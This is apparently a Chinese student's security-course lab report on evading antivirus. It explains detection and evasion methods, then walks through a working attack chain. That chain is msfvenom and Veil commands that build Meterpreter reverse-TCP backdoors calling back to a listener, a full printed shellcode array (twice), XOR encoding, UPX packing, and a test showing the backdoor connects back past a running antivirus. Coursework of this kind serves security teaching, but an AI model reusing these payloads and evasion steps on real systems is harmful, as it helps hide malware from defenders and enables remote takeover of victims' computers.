20192405Exp3-免杀原理与实践
20192405Exp3-免杀原理与实践
一、问题回答
1. 杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 基于行为的恶意软件检测
2. 免杀是做什么?
- 就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面
3. 免杀的基本方法有哪些
- 加花指令:就是加入一些花里胡哨的指令来迷惑杀软,让杀软检测不到特征码,比如+1,-1,*1,/1什么的,但是一些厉害的杀软还可以看破这些。
- 加壳:就是给含有恶意代码的程序加一个外包装,让杀软不知道里面装的是什么。但是这种方法逃不过内存查杀,一运行起来就会露出马脚。
- 修改特征码:就是在不影响程序功能的情况下,将杀软检测的那一段特征码改一下,从而瞒过杀软的检测。当然修改特征码不是一个容易的事情,但是却是唯一可以躲过内存查杀的办法
二、实践过程
1、MSF编码器
利用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.80.129 lport=5332 x> 20192405_backjar.jar
,生成jar文件,进行检测。
使用实验二msf得到的20192405_backdoor.exe测试
被火绒狠狠拿下
2、veil-evasion
veil-evasion和Metasploit类似,可以生成后门文件,但Linux里没有需要我们自己安装,用 sudo apt-get install veil-evasion 指令下载软件包,下载好后输入 veil 开始安装。
在Kali的终端中启动Veil-Evasion
命令行中输入veil
,后在veil中输入命令use evasion
依次输入如下命令生成可执行文件:
use python/meterpreter/rev_tcp.py
set LHOST 192.168.80.129
set LPORT 5332
generate
检测exe文件:
3.利用shellcode编程实现免杀
使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=5332 -f c
生成C语言的shellcode。
新建20192405.c(vi 20192405.c)
- 使用mingw-w32将c语言文件生成exe文件
i686-w64-mingw32-g++ 20192405.c -o 20192405.exe
4.加壳工具
- 给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,指令为
upx 20192405.exe -o 20192405_upx.exe
对创建的20192405_upx.exe
后门文件,使用VirusTotal进行扫描,扫描结果如下图所示
5.免杀实践
c+shellcode+异或+压缩壳
我们需要先使用语句生成一段shellcode,指令已在上方使用C + shellcode编程中叙述。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=5332 -f c
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x50\x81\x68\x02"
"\x00\x14\xd4\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
然后我们需要生成一个hello2405.c文件
vi hello2405.c
再后连同shellcode前面的unsigned char buf[]=一起复制到Windows系统下的codeblock中,然后我们输入代码:
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x50\x81\x68\x02"
"\x00\x14\xd4\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
printf("\\x%x",buf[i]);
}
}
6.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
首先,一方将自己的虚拟机改为桥接模式,这时查找自己的地址是只有物理地址,点击编辑,点击虚拟网络编辑器,然后更改设置,就会有一个桥接模式的VMnet0出现,将桥接模式已桥接至改为Intel(R)Wireless-AC 9462,这是我们的无线网卡。然后在kali虚拟机中输入命令sudo dhclient eth0
(根据自己实际情况进行修改)
三.实践总结与体会与问题
1.出现报错
分析:
- 因为Git限制了推送数据的大小导致的错误。
解决:
- 重新设置全局的通信缓存大小,增加git缓冲区大小
git config --global http.postBuffer 524288000
git config --list
2.总结:
自己的理解中压缩壳并加密壳理应比压缩壳更为难检测,但是事实上并不是,诸如此类的问题,猜想与实际会有差距。
通过实践,杀软和windows defender没有我们想象中的那么强大,我平时使用的360安全卫士并不安全,后面下载的360杀软相对专业,但是安全系数仍旧不高。所以在日常生活中,我们仍需提高警惕,尽可能从源头避免恶意代码进入电脑主机的可能性。